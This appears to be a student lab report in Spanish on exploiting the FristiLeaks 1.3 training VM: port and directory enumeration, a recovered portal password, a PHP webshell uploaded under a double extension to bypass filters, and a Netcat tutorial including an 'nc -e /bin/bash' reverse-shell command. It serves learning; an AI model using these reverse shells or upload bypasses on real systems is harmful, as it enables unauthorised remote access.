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1 INTRODUCCIÓN 

En el presente informe se documenta el desarrollo de un laboratorio enfocado en el análisis 

de vulnerabilidades utilizando máquinas virtuales como FristiLeaks 1.3 y sistemas operativos 

Kali Linux y Ubuntu. Se realizaron configuraciones de red, escaneo de puertos, enumeración 

de directorios, pruebas de fuerza bruta, carga de archivos maliciosos y ejecución de shells 

inversas. Además, se incluyen los comandos fundamentales para contar caracteres en 

archivos (`wc`, ̀ awk`, `cat`) y el uso avanzado de Netcat (`nc`) para pruebas de conectividad, 

transferencia de archivos y obtención de acceso remoto. 
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2 OBJETIVOS 

2.1 GENERAL 

Analizar vulnerabilidades y comprender el uso de comandos esenciales en entornos Linux, 

aplicando técnicas de auditoría y administración de redes en sistemas Kali, Ubuntu y Fristy. 

 

2.2 ESPECIFICOS 

• Configurar el entorno de red para la máquina vulnerable FristiLeaks. 

• Ejecutar análisis de servicios y puertos abiertos utilizando Nmap. 

• Enumerar directorios y archivos ocultos con Dirb y diccionarios. 
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3 ALCANCE 

Este laboratorio abarca el análisis completo de una máquina vulnerable, desde su 

configuración inicial hasta la obtención de acceso remoto. Incluye la enumeración de 

directorios, análisis de vulnerabilidades, explotación de fallos y ejecución de comandos 

avanzados para la gestión y manipulación de datos. También cubre el uso de Netcat para 

pruebas de conectividad, transferencia de archivos y creación de shells interactivas. 
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4 PLANTEAMIENTO DEL PROBLEMA 

4.1 Configuración de la red en VirtualBox 

Evidencia: 

 

Configuración -  1 

 

En la primera imagen se configura el adaptador de red de la máquina FristiLeaks. 

• Se utilizó la opción Red NAT para la conexión. 

• Se habilitó el adaptador de red y se configuró el modo promiscuo en "Permitir 

todo". 

• Esto permite que la máquina vulnerable pueda ser detectada y atacada desde Kali 

Linux. 
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4.2 Obtención de la IP de FristiLeaks 

Evidencia: 

 

Configuración -  2 

 

Al iniciar la máquina FristiLeaks, se muestra en la consola la dirección IP: 

IP address: 10.10.10.11 

Esta dirección será utilizada para el escaneo y análisis posterior. 
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4.3 Acceso inicial al sitio web 

Evidencia: 

 

Configuración -  3 

 

Se accede desde Kali Linux al sitio web alojado en FristiLeaks mediante el navegador: 

http://10.10.10.11 

Se visualiza la página principal, donde aparece un mensaje llamativo relacionado con el 

reto. 
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4.4 Escaneo de puertos y servicios con Nmap 

Evidencia: 

 

Configuración -  4 

 

Se ejecutó el siguiente comando: 

nmap -sV 10.10.10.11 

Resultados obtenidos: 

• Puerto abierto: 80/tcp → Apache 2.2.15 (CentOS) 

• Servicio HTTP detectado con soporte para PHP/5.3.3. 

• Esto indica que existe un servidor web que podría tener vulnerabilidades 

explotables. 
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4.5 Verificación de conectividad con ping 

Evidencia: 

 

Configuración -  5 

 

Se comprobó la conectividad entre Kali Linux y FristiLeaks: 

ping 10.10.10.11 

El host respondió correctamente, confirmando que está activo en la red. 
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4.6 Análisis de imágenes del sitio 

Evidencia: 

 

Configuración -  6 

 

En la sección de imágenes del sitio web se encontró un archivo: 

http://10.10.10.11/images/keep-calm.png 
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El texto en la imagen sugiere que puede haber pistas ocultas para continuar el proceso 

de explotación. 

4.7 Enumeración de directorios con Dirb 

Evidencia: 

 

Configuración -  7 

 

Se ejecutó el comando: 

dirb http://10.10.10.11 

Dirb encontró varios directorios potencialmente interesantes, entre ellos: 

• /cgi-bin/ 
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• /discovery 

Estos directorios podrían contener archivos sensibles o scripts vulnerables. 

4.8  Exploración de listas de palabras para fuerza bruta 

Evidencia: 

 

Configuración -  8 

 

Finalmente, se verificaron los archivos disponibles en la ruta: 

/usr/share/dirb/wordlists/ 

Aquí se encuentran listas de palabras que pueden usarse para ataques de fuerza bruta 

sobre rutas, credenciales y archivos ocultos. 
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COMANDO CAT COMMON.TXT 

Se utiliza el comando cat common.txt para visualizar el contenido de un diccionario dentro 

del directorio /usr/share/dirb/wordlists. Estos diccionarios son usados en herramientas de 

fuerza bruta para descubrir directorios y archivos ocultos en servidores web. 

 

Configuración -  9 

 

SMALL.TXT. 

Ejecución de la herramienta dirb contra el objetivo http://10.10.10.11/ utilizando el 

diccionario small.txt. El escaneo muestra directorios accesibles, como /images/, y 

directorios con restricción de permisos como /cgi-bin/. 
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Configuración -  10 

 

4.9 Acceso al archivo robots.txt del servidor 

 

Acceso al archivo robots.txt del servidor (http://10.10.10.11/robots.txt). Este archivo indica 

rutas que el administrador no desea que los buscadores indexen, revelando directorios 

interesantes: /cola, /sisi, y /beer. 
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Configuración -  11 

 

4.10 Se accede a la ruta http://10.10.10.11/cola/ 

 

Se accede a la ruta http://10.10.10.11/cola/. La respuesta del servidor devuelve un mensaje 

en formato meme indicando que no es la URL correcta. Esto es un mecanismo de despiste 

para los visitantes. 

http://10.10.10.11/cola/


22 
 
 

 

Configuración -  12 

4.11 Acceso a la ruta http://10.10.10.11/sisi/ 

 

Acceso a la ruta http://10.10.10.11/sisi/, donde se muestra un portal de administración de 

#fristileaks admin portal acompañado de una imagen de burla (Nelson de Los Simpson). 

Esto confirma que es un punto de interés a investigar. 

http://10.10.10.11/sisi/
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Configuración -  13 

 

4.12 servicio web para decodificar un bloque en Base64 

 

Se utiliza un servicio web para decodificar un bloque en Base64. El contenido corresponde 

a una imagen en formato PNG. La salida aún contiene caracteres binarios que no se 

interpretan correctamente en texto plano. 
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Configuración -  14 

 

4.13 formato imagen PNG, revelando una cadena de texto 

 

El bloque Base64 se decodifica correctamente a formato imagen PNG, revelando una 

cadena de texto: 

keKkeKKeKkeKkEkkEk 

Este dato probablemente corresponde a una credencial o clave de acceso para el portal. 
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Configuración -  15 

4.14 Ingreso exitoso al portal http://10.10.10.11/frist1/login_success.php 

 

Ingreso exitoso al portal http://10.10.10.11/frist1/login_success.php, donde se muestra el 

mensaje "Login successful" y la opción de subir archivos. Esto indica un posible punto 

de explotación para cargar archivos maliciosos (ejemplo: un webshell). 

http://10.10.10.11/frist1/login_success.php
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Configuración -  16 

 

4.15 carga de archivos en upload.php 

 

Se observa el formulario de carga de archivos en upload.php, donde se selecciona un 

archivo para subir. La interfaz muestra un campo de selección y un botón para enviar el 

archivo. 
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Configuración -  17 

 

 

4.16 el directorio /uploads 

 

Después de enviar, la página do_upload.php confirma que el archivo fue cargado con éxito 

en el directorio /uploads. Esto indica que la aplicación recibe y almacena archivos sin 

mayores restricciones aparentes. 
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Configuración -  18 

4.17 intentar acceder directamente a /uploads/ 

 Al intentar acceder directamente a /uploads/, el servidor responde con el mensaje “no!”, 

lo que significa que está bloqueado el listado de directorios. Esto evita ver el contenido, 

pero no confirma si los archivos están ejecutables o no. 
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4.18 Nuevo intento de carga fallido 

Nuevo intento de carga fallido: el servidor rechaza el archivo e informa que solo se 

permiten extensiones de imagen (png, jpg, gif). Esto confirma un filtro básico de validación 

por extensión. 

 

 

 

4.19 se abre el directorio /usr/share/webshells 

En Kali Linux, se abre el directorio /usr/share/webshells para explorar archivos de 

prueba. Se observan plantillas de webshells que suelen usarse en laboratorios para simular 

cargas maliciosas. 
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4.20 Vista interna de los ejemplos disponibles 

Vista interna de los ejemplos disponibles. Aparecen archivos diseñados en PHP, entre 

otros, que muestran cómo se pueden modificar para pruebas. 

 

 

4.21 prueba desde /usr/share/webshells 

Se copia un archivo de prueba desde /usr/share/webshells hacia un directorio de trabajo 

en el escritorio. Este paso permite modificarlo antes de cualquier intento de subida. 
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4.22 El archivo copiado se abre en un editor de texto 

El archivo copiado se abre en un editor de texto. Se observa el contenido PHP con 

parámetros editables (como IP y puerto), listos para ser configurados en un escenario de 

prueba. 

 

4.23 Explotación vía subida de archivo PHP y obtención de shell inversa. 

     Ruta: 10.10.10.11/fristj/uploads/rosa.php.png 

• Se observa un intento de subir y ejecutar un archivo PHP disfrazado como imagen 

(rosa.php.png). 
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• El servidor devuelve el mensaje “no!”, lo que indica que el sistema de subida 

detectó y bloqueó la ejecución del archivo malicioso. 

• Abajo, en la terminal, se ve el uso de Netcat (nc -lvp 1234), lo que significa que se 

estaba esperando una reverse shell desde la víctima hacia el atacante. 

• Logró establecer conexión (se ve un shell interactivo con permisos del usuario 

apache), lo cual confirma que hubo explotación exitosa a pesar de la restricción 

inicial. 

 

 

5 SECCION 2 – CREACION DE 2 USUARIOS 

5.1 SE APLICA LS: 

Para visualizar, los comandos y los archivos  
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5.2 SE INGRESA A SQL EN FRISTI: 

Para ingresar, los usuarios a frity 
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5.3 VIZUALIZACIÓN DE LOS USUARIOS: 

Los usuarios creados mediante los comandos, SQL y además se inicialización 
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6 SECCION 3 - HACER LO MISMO DE CONFIGURACION DE FRITILI, EN 

UBUNTU 

6.1 La mac de ubuntu 
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6.2 La mac de fristy 

 

 

6.3 SE APLICA EL COMANO SUDO 

 

6.4 SE VIZUALIZA EL ARCHIVO 
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7 SECCIÓN 4 — COMANDOS PARA CALCULAR CUÁNTOS CARACTERES 

TIENE UN ARCHIVO 

En Kali Linux, Fristy, Parrot, Ubuntu y otras distros, los comandos principales para 

contar caracteres son los mismos. Te muestro las mejores opciones: 

7.1 Usando wc (Word Count) — El más usado 

El comando wc sirve para contar caracteres, palabras y líneas. 

Sintaxis básica: 

wc -m nombre_archivo 

Ejemplo práctico: 

wc -m notas.txt 

Salida: 

350 notas.txt 

Significa que el archivo notas.txt tiene 350 caracteres. 
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7.2 Usando cat + wc 

Podemos combinar cat para mostrar el contenido y wc para contarlo. 

cat notas.txt | wc -m 

Resultado: 

También muestra 350, pero sin el nombre del archivo. 

7.3 Usando awk 

El comando awk también puede contar caracteres de forma precisa: 

awk '{ total += length($0) } END { print total }' notas.txt 

Explicación: 

• length($0) → cuenta los caracteres por línea. 

• total += → suma todos los caracteres. 

• END → muestra el resultado final. 

7.4 Usando wc -c (incluye saltos de línea) 

Si quieres contar los bytes reales del archivo, incluyendo los saltos de línea: 

wc -c notas.txt 

• Si usas UTF-8 y hay caracteres especiales, este comando es más preciso. 

7.5 Ejemplo práctico con varios archivos 

Para contar caracteres de todos los archivos .txt en una carpeta: 

wc -m *.txt 

Salida ejemplo: 

350 notas.txt 
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180 tareas.txt 

520 total 

8 SECCIÓN 5 — INVESTIGAR LOS COMANDOS DEL nc (NETCAT) 

El comando nc (Netcat) es una herramienta muy poderosa que se utiliza en Kali Linux, 

Fristy, Parrot, Ubuntu, etc., para comunicación de redes, transferencia de archivos, 

escaneo de puertos y depuración de conexiones. 

Se conoce como la "navaja suiza de las redes". 

8.1  Verificar si Netcat está instalado 

nc -h 

Si no está instalado en Ubuntu/Fristy, puedes instalarlo: 

sudo apt install netcat 

8.2 Uso básico de nc 

a) Crear un servidor TCP (modo escucha) 

nc -lvp 4444 

Explicación: 

• -l → modo escucha. 

• -v → modo verbose (muestra detalles). 

• -p 4444 → puerto de escucha. 

b) Conectarse a un servidor usando Netcat 

nc 192.168.1.100 4444 

Esto abre una conexión hacia la IP 192.168.1.100 en el puerto 4444. 

c) Transferir archivos con Netcat 
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En la máquina receptora (modo escucha): 

nc -lvp 4444 > archivo_recibido.txt 

En la máquina emisora (envía el archivo): 

nc 192.168.1.100 4444 < archivo_original.txt 

Esto transfiere archivo_original.txt a la otra máquina. 

d) Escanear puertos abiertos con Netcat 

nc -zv 192.168.1.100 1-1000 

Explicación: 

• -z → modo escaneo. 

• -v → modo verbose. 

• 1-1000 → rango de puertos a escanear. 

e) Crear un chat entre dos máquinas con Netcat 

Máquina A (servidor): 

nc -lvp 5000 

Máquina B (cliente): 

nc 192.168.1.50 5000 

Ahora puedes chatear entre ambas terminales. 

f) Crear un shell reverso con Netcat (muy usado en Kali) 

En la máquina atacante (escucha): 

nc -lvp 4444 

En la máquina víctima: 

nc 192.168.1.50 4444 -e /bin/bash 

Esto otorga acceso remoto a la shell. 
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9 PROBLEMAS ENCONTRADOS 

• Restricción de extensiones de archivos en el servidor. 

• Bloqueo del listado de directorios /uploads/. 

• Filtrado básico de cabeceras PHP. 
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10  SOLUCIONES APLICADAS 

• Renombrar la webshell con doble extensión (.php.png). 

• Uso de diccionarios common.txt y small.txt. 

• Bypass de filtros mediante cabeceras modificadas. 
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11 CONCLUSIONES 

El laboratorio permitió: 
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• Comprender el uso avanzado de Netcat y sus aplicaciones. 

• Aprender a contar caracteres con diferentes comandos de Linux. 

• Descubrir vulnerabilidades en FristiLeaks y explotarlas exitosamente. 

• Mejorar habilidades en administración de redes y ciberseguridad. 
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